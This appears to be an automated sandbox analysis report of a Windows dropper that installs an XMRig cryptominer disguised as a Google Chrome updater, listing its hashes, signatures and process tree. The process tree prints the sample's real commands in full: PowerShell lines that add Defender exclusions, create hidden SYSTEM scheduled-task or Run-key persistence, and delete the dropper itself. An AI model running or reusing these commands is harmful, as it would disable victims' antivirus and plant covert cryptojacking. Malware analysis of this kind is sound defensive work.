Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
24-10-2024 20:12
241024-yyvg5asemn 1024-10-2024 20:11
241024-yygk9ssemk 1024-10-2024 20:11
241024-yygahasemj 1024-10-2024 20:11
241024-yyd55sselq 1024-10-2024 20:08
241024-yw247asdqp 1024-10-2024 20:08
241024-yw1lcssdqn 1024-10-2024 20:08
241024-ywx58ssdql 1022-08-2024 20:59
240822-zs4paaxemb 1022-08-2024 20:59
240822-zs2jxszern 1022-08-2024 20:59
240822-zsy4ssxelg 10Analysis
-
max time kernel
1800s -
max time network
1791s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
24-10-2024 20:11
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20241010-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20241010-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20240729-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20240708-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240903-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20241010-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20241010-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20241010-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240708-en
General
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Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1972 created 1200 1972 qM5GMXBk6hJE6Y5e (25).exe 21 PID 1972 created 1200 1972 qM5GMXBk6hJE6Y5e (25).exe 21 PID 1972 created 1200 1972 qM5GMXBk6hJE6Y5e (25).exe 21 PID 1972 created 1200 1972 qM5GMXBk6hJE6Y5e (25).exe 21 PID 1940 created 1200 1940 updater.exe 21 PID 1940 created 1200 1940 updater.exe 21 PID 1940 created 1200 1940 updater.exe 21 PID 1940 created 1200 1940 updater.exe 21 PID 1472 created 1200 1472 conhost.exe 21 PID 1940 created 1200 1940 updater.exe 21 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral21/memory/1756-42-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-43-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-45-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-47-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-49-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-51-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-53-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-55-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-57-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-59-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-61-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-63-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-65-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-67-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-73-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-75-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-77-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-79-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-81-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-83-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-85-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-87-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-89-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-91-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-93-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-95-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-97-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral21/memory/1756-99-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
pid Process 2836 powershell.exe 480 powershell.exe 1740 powershell.exe 2952 powershell.exe -
Deletes itself 1 IoCs
pid Process 2848 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 1940 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2684 taskeng.exe -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1940 set thread context of 1472 1940 updater.exe 49 PID 1940 set thread context of 1756 1940 updater.exe 56 -
resource yara_rule behavioral21/memory/1756-39-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-42-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-43-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-45-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-47-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-49-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-51-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-53-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-55-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-57-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-59-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-61-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-63-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-67-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-73-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-75-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-77-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-79-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-81-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-83-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-85-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-87-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-89-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-91-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-93-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-95-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-97-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral21/memory/1756-99-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (25).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1660 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d0ab92836a26db01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2112 schtasks.exe 2912 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 1972 qM5GMXBk6hJE6Y5e (25).exe 1972 qM5GMXBk6hJE6Y5e (25).exe 1740 powershell.exe 1972 qM5GMXBk6hJE6Y5e (25).exe 1972 qM5GMXBk6hJE6Y5e (25).exe 2836 powershell.exe 1972 qM5GMXBk6hJE6Y5e (25).exe 1972 qM5GMXBk6hJE6Y5e (25).exe 1972 qM5GMXBk6hJE6Y5e (25).exe 1972 qM5GMXBk6hJE6Y5e (25).exe 2648 powershell.exe 1940 updater.exe 1940 updater.exe 2952 powershell.exe 1940 updater.exe 1940 updater.exe 480 powershell.exe 1940 updater.exe 1940 updater.exe 1940 updater.exe 1940 updater.exe 1472 conhost.exe 1472 conhost.exe 1940 updater.exe 1940 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 1740 powershell.exe Token: SeDebugPrivilege 2836 powershell.exe Token: SeDebugPrivilege 2648 powershell.exe Token: SeDebugPrivilege 2952 powershell.exe Token: SeDebugPrivilege 480 powershell.exe Token: SeDebugPrivilege 1940 updater.exe Token: SeAssignPrimaryTokenPrivilege 1660 WMIC.exe Token: SeIncreaseQuotaPrivilege 1660 WMIC.exe Token: SeSecurityPrivilege 1660 WMIC.exe Token: SeTakeOwnershipPrivilege 1660 WMIC.exe Token: SeLoadDriverPrivilege 1660 WMIC.exe Token: SeSystemtimePrivilege 1660 WMIC.exe Token: SeBackupPrivilege 1660 WMIC.exe Token: SeRestorePrivilege 1660 WMIC.exe Token: SeShutdownPrivilege 1660 WMIC.exe Token: SeSystemEnvironmentPrivilege 1660 WMIC.exe Token: SeUndockPrivilege 1660 WMIC.exe Token: SeManageVolumePrivilege 1660 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1660 WMIC.exe Token: SeIncreaseQuotaPrivilege 1660 WMIC.exe Token: SeSecurityPrivilege 1660 WMIC.exe Token: SeTakeOwnershipPrivilege 1660 WMIC.exe Token: SeLoadDriverPrivilege 1660 WMIC.exe Token: SeSystemtimePrivilege 1660 WMIC.exe Token: SeBackupPrivilege 1660 WMIC.exe Token: SeRestorePrivilege 1660 WMIC.exe Token: SeShutdownPrivilege 1660 WMIC.exe Token: SeSystemEnvironmentPrivilege 1660 WMIC.exe Token: SeUndockPrivilege 1660 WMIC.exe Token: SeManageVolumePrivilege 1660 WMIC.exe Token: SeLockMemoryPrivilege 1756 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2836 wrote to memory of 2112 2836 powershell.exe 35 PID 2836 wrote to memory of 2112 2836 powershell.exe 35 PID 2836 wrote to memory of 2112 2836 powershell.exe 35 PID 2848 wrote to memory of 2724 2848 cmd.exe 40 PID 2848 wrote to memory of 2724 2848 cmd.exe 40 PID 2848 wrote to memory of 2724 2848 cmd.exe 40 PID 2648 wrote to memory of 2644 2648 powershell.exe 41 PID 2648 wrote to memory of 2644 2648 powershell.exe 41 PID 2648 wrote to memory of 2644 2648 powershell.exe 41 PID 2684 wrote to memory of 1940 2684 taskeng.exe 43 PID 2684 wrote to memory of 1940 2684 taskeng.exe 43 PID 2684 wrote to memory of 1940 2684 taskeng.exe 43 PID 480 wrote to memory of 2912 480 powershell.exe 48 PID 480 wrote to memory of 2912 480 powershell.exe 48 PID 480 wrote to memory of 2912 480 powershell.exe 48 PID 1940 wrote to memory of 1472 1940 updater.exe 49 PID 1996 wrote to memory of 1660 1996 cmd.exe 54 PID 1996 wrote to memory of 1660 1996 cmd.exe 54 PID 1996 wrote to memory of 1660 1996 cmd.exe 54 PID 1940 wrote to memory of 1756 1940 updater.exe 56 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1200
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (25).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (25).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1972
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1740
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2836 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2112
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2644
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (25).exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2724
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2952
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:480 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2912
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1472
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1660
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:320
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1756
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C:\Windows\system32\taskeng.exetaskeng.exe {0FDF0B5F-521C-426A-899A-E16D77DC9E4A} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2684 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1940
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5e2fdc5acaf7efdf77823f9f6cf446101
SHA1119743f9c1daca66061d8e08ec1b2edcb05bcb61
SHA2566f38882d7afc9515d4bb131ab9a48944d831af4cfb5e7e7c202f90c49e6fabd3
SHA5121d6b6406b462e0e9d940d3af7b80497dbeabe3168aa2f583acf08a89fd89b6a1dbe8f506cd88d61d9dcab33bb1037b0b050fcfd19c84147462828d096e83202c
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6